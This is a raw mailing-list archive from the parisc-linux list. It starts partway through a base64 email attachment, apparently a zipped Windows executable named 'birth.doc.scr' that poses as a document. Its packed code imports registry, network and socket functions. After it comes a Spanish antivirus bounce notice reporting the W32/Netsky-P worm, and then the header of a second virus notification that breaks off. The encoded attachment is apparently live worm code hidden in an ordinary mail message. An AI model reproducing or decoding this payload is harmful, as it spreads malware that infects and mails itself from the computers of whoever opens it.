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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAA
AJAAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAEAAAIACAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAH
BAAAWAAAANTAAQDoAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwQAAIAAAADAwwEAKAEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAGUAAACoAACAAAAAAAAAAAAAAAAAAAABAAcEAADA
AAAA7MQBACIAAAAAAAAAAAAAANCQAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAA
AAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNE
RERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESV
RERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJS
IiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiI
iIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERE
RERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIi
I0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndy
RIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERERERE
UlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNC
RCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH+AAAD/////+4kwEAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/
AP8A//8AAP///wAAAAAAAAAAAAB3d3d3d3AAAP//n/+fcAAA//95mZ9wAAD0RPefn3AAAP//
/3mfcAAA9ERE959wAAD//////3AAAPRERERPcAAA//////9wAAD0RERET3AAAP//////cAAA
//////9wAADw8PDw8PAAAA+Pj4+PgAAAAAAAAAAAAMAHAADAAwAAwAMAAMADAADAAwAAwAMA
AMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAcAAOqvAADglAEAAAABAAIAICAQ
AAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAAAAAAAAAAAAAAAAA1MUBAJzFAQAAAAAAAAAA
AAAAAADhxQEArMUBAAAAAAAAAAAAAAAAAO7FAQC0xQEAAAAAAAAAAAAAAAAA+8UBALzFAQAA
AAAAAAAAAAAAAAAGxgEAxMUBAAAAAAAAAAAAAAAAABLGAQDMxQEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAcxgEAKsYBADrGAQAAAAAASMYBAAAAAABWxgEAAAAAAGjGAQAAAAAAdMYBAAAAAAAL
AACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5k
bGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVz
cwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJp
bnRmQQAAAEludGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAB5LYMwrnbFugBeAAAAXgAADQAA
AAAAAAAAACAAAAAAAAAAYmlydGguZG9jLnNjclBLBQYAAAAAAQABADsAAAArXgAAAAA=


------=_NextPart_000_0006_000035D3.00004A21--




From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: virusalert@america.vrweb.cl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ALERTA: Usted puede tener un virus
Date: Sat, 3 Apr 2004 11:49:10 -0400
Lines: 64
Approved: news@gmane.org
Message-ID: <200404031549.i33FnAQw027414@america.vrweb.cl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623328 7546 80.91.229.3 (22 Nov 2014 02:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: virusalert@america.vrweb.cl  Sat Apr  3 08:52:14 2004
Return-Path: <virusalert@america.vrweb.cl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from america.vrweb.cl (unknown [200.27.54.157])
	by dsl2.external.hp.com (Postfix) with ESMTP id 161BB489D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Apr 2004 08:52:14 -0700 (MST)
Original-Received: from america.vrweb.cl (america.vrweb.cl [127.0.0.1])
	by america.vrweb.cl (8.12.9/8.12.7) with ESMTP id i33FnA2O027416
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Apr 2004 11:49:10 -0400
Original-Received: (from root@localhost)
	by america.vrweb.cl (8.12.9/8.12.9/Submit) id i33FnAQw027414;
	Sat, 3 Apr 2004 11:49:10 -0400
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Apr 2004 15:52:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21270

              A L E R T A    D E     V I R U S

Nuestro sistema de antivirus encontro el (los) siguientes virus:

----------------------------------------------------
	'W32/Netsky-P'
----------------------------------------------------

en el correo que al parecer usted envio a :

----------------------------------------------------
-> aletakk
----------------------------------------------------

El correo fue rechazado y no enviado.

Los virus actuales cuando infectan a un computador mandan
correos infectados a todos las personas que tiene en su libreta
de direcciones. Muchos de estos virus modifican el remitente 
del mensaje, por lo que puede que le haya llegado este mensaje de
alerta pero que usted realmente no es el que tiene virus, sino que otra
persona que lo tiene a usted en su libreta de direcciones y el virus
esta mandando correos indicando que es usted el que los manda colocando
su casilla como remitente.

Le recomendamos revise su sistema en busca de virus, o solicite
a su administrador de sistema que realice un chequeo. Recuerde
que cuando el sistema ya esta infectado los antivirus por lo general
no funcionan, asesorese bien al respecto.

A modo de referencia, este es el  encabezado del mensaje rechazado por virus:

------------------------- BEGIN HEADERS -----------------------------
Return-Path: <parisc-linux@lists.parisc-linux.org>
Received: from takk.cl (CM-lcon2-49-12.cm.vtr.net [200.83.49.12])
	by america.vrweb.cl (8.12.9/8.12.7) with ESMTP id i33Fmv2O027403
	for <libreria@takk.cl>; Sat, 3 Apr 2004 11:49:01 -0400
Message-Id: <200404031549.i33Fmv2O027403@america.vrweb.cl>
From: parisc-linux@lists.parisc-linux.org
To: libreria@takk.cl
Subject: Mail Delivery (failure libreria@takk.cl)
Date: Sat, 3 Apr 2004 11:52:18 -0400
MIME-Version: 1.0
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_000_001B_01C0CA80.6B015D10"
X-Priority: 3
X-MSMail-Priority: Normal
-------------------------- END HEADERS ------------------------------

Esperamos este aviso le permita solucionar su problema.

Si requiere una casilla de e-mail que posea un antivirus integrado
para nunca mas recibir virus en su correo, contactenos.

VRWEB Ingenieria Internet
http://www.vrweb.cl/

-----------------------------------------------------
Correo automatico - no responder.
-----------------------------------------------------




From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
